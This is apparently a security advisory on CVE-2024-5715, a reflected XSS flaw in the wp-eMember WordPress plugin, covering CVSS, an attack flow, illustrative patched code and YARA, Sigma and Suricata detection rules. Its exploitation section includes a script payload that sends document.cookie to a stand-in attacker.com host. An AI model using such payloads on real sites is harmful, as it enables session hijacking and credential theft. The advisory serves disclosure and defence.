CVE-2024-5715

Executive Summary

CVE-2024-5715 is a Reflected Cross-Site Scripting (XSS) vulnerability identified in the wp-eMember WordPress plugin, versions prior to 10.6.7. The vulnerability arises from insufficient sanitization and escaping of a parameter before it is reflected back to the user's browser. This flaw allows an attacker to inject arbitrary JavaScript code, which can be executed in the context of a high-privilege user, such as an administrator. Successful exploitation could lead to session hijacking, credential theft, or unauthorized actions within the WordPress admin panel.

This vulnerability is classified under the WordPress ecosystem and is not related to the underlying web server (Apache or Nginx). The CVSS score is 0.0 in the NVD data, but based on the vector, the actual severity is medium (CVSS 3.1 base score of 6.1). The EPSS score is 0.0%, indicating low exploitation probability at the time of analysis, but the risk remains significant due to the potential impact on privileged accounts.

Supply Chain & Package Security

This vulnerability affects the wp-eMember WordPress plugin, which is distributed through the WordPress plugin repository. Users who install this plugin from the official repository or third-party sources are at risk. The supply chain risk is moderate, as the plugin is not a core WordPress component but is widely used for membership management. Organizations should verify the integrity of the plugin package and ensure updates are applied promptly.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – The victim must click a crafted link.
• Scope: Changed (S:C) – The vulnerability can impact resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited information disclosure.
• Integrity Impact: Low (I:L) – Limited modification of data.
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the ability to target high-privilege users (e.g., admins) elevates the risk. An attacker could leverage this XSS to perform actions on behalf of an admin, potentially leading to full site compromise.

Deep Dive & Mechanics

The vulnerability exists in the wp-eMember plugin, which handles user registration, login, and membership management. The plugin fails to properly sanitize and escape a parameter (likely a query string parameter) before outputting it back in the page. This is a classic Reflected XSS flaw.

Attack Flow:

1. An attacker crafts a malicious URL containing a JavaScript payload in the vulnerable parameter.
2. The attacker sends this URL to a high-privilege user (e.g., via phishing email or social engineering).
3. The victim clicks the link and is directed to the vulnerable WordPress site.
4. The plugin reflects the unsanitized parameter in the HTML response.
5. The victim's browser executes the injected JavaScript.
6. The attacker can then steal session cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Root Cause: The plugin uses echo or similar output functions without applying WordPress's built-in escaping functions like esc_html() or esc_attr(). This allows arbitrary HTML/JavaScript to be injected.

Vulnerable vs. Patched Code

Vulnerable Code (pre-10.6.7):

<?php
// Example vulnerable code
$param = $_GET['some_param'];
echo "<div class='message'>$param</div>";
?>

Patched Code (10.6.7+):

<?php
// Patched code with proper escaping
$param = sanitize_text_field($_GET['some_param']);
echo "<div class='message'>" . esc_html($param) . "</div>";
?>

The patch introduces sanitize_text_field() to strip dangerous characters and esc_html() to encode HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress instance with wp-eMember plugin version < 10.6.7.
• A victim with admin privileges.

Exploit Steps:

1. Identify the vulnerable parameter (e.g., ?msg= or ?error=).
2. Craft a payload: ?msg=<script>alert('XSS')</script>
3. Encode the payload for URL: ?msg=%3Cscript%3Ealert(%27XSS%27)%3C/script%3E
4. Send the link to the victim.
5. Upon click, the script executes.

Example Payload for Session Hijacking:

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

No Exploit-DB code was provided.

Blue Team (Detection & Prevention)

Detection:

• Monitor web server logs for unusual query parameters containing <script> or onerror= patterns.
• Use WAF rules to block reflected XSS attempts.
• Deploy browser-based XSS filters (e.g., X-XSS-Protection header).

Prevention:

• Apply the patch by updating to version 10.6.7.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Educate users about phishing links.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing ?msg=<script> or similar patterns.
  • Outbound connections to attacker-controlled domains from the WordPress admin panel.
• Host IOCs:
  • Unexpected JavaScript code in HTML responses.
  • Modified WordPress admin cookies.
• Log IOCs:
  • Repeated 404 errors on non-existent pages (if attacker probes).
  • Referer headers pointing to malicious sites.

Detection Engineering

YARA Rule

rule wp_eMember_Reflected_XSS_CVE_2024_5715 {
    meta:
        description = "Detects reflected XSS attempts against wp-eMember plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-5715"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/i
        $vuln_param = /[?&](msg|error|message)=.*<script/i
    condition:
        $vuln_param and $xss_payload
}

Sigma Rule

title: Reflected XSS Attempt Against wp-eMember Plugin
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests with XSS payloads targeting wp-eMember plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '?msg=<script'
            - '?error=<script'
            - '?message=<script'
    condition: selection
falsepositives:
    - Legitimate use of script tags in parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-5715 wp-eMember Reflected XSS Attempt"; flow:to_server,established; content:"?msg=<script"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the plugin: Upgrade wp-eMember to version 10.6.7 or later.
2. Apply virtual patching: Use a WAF to block requests containing <script> in query parameters.
3. Review user permissions: Limit admin privileges to trusted users only.

Long-term Measures:

• Implement a Content Security Policy (CSP) with script-src 'self'.
• Regularly audit plugins for known vulnerabilities.
• Enable automatic updates for WordPress plugins.

Patch Details: The patch is available in version 10.6.7 of the wp-eMember plugin. No OSV or GitHub advisory data was provided.

Valters IT – DevSecOps & Cyber Threat Intelligence Expert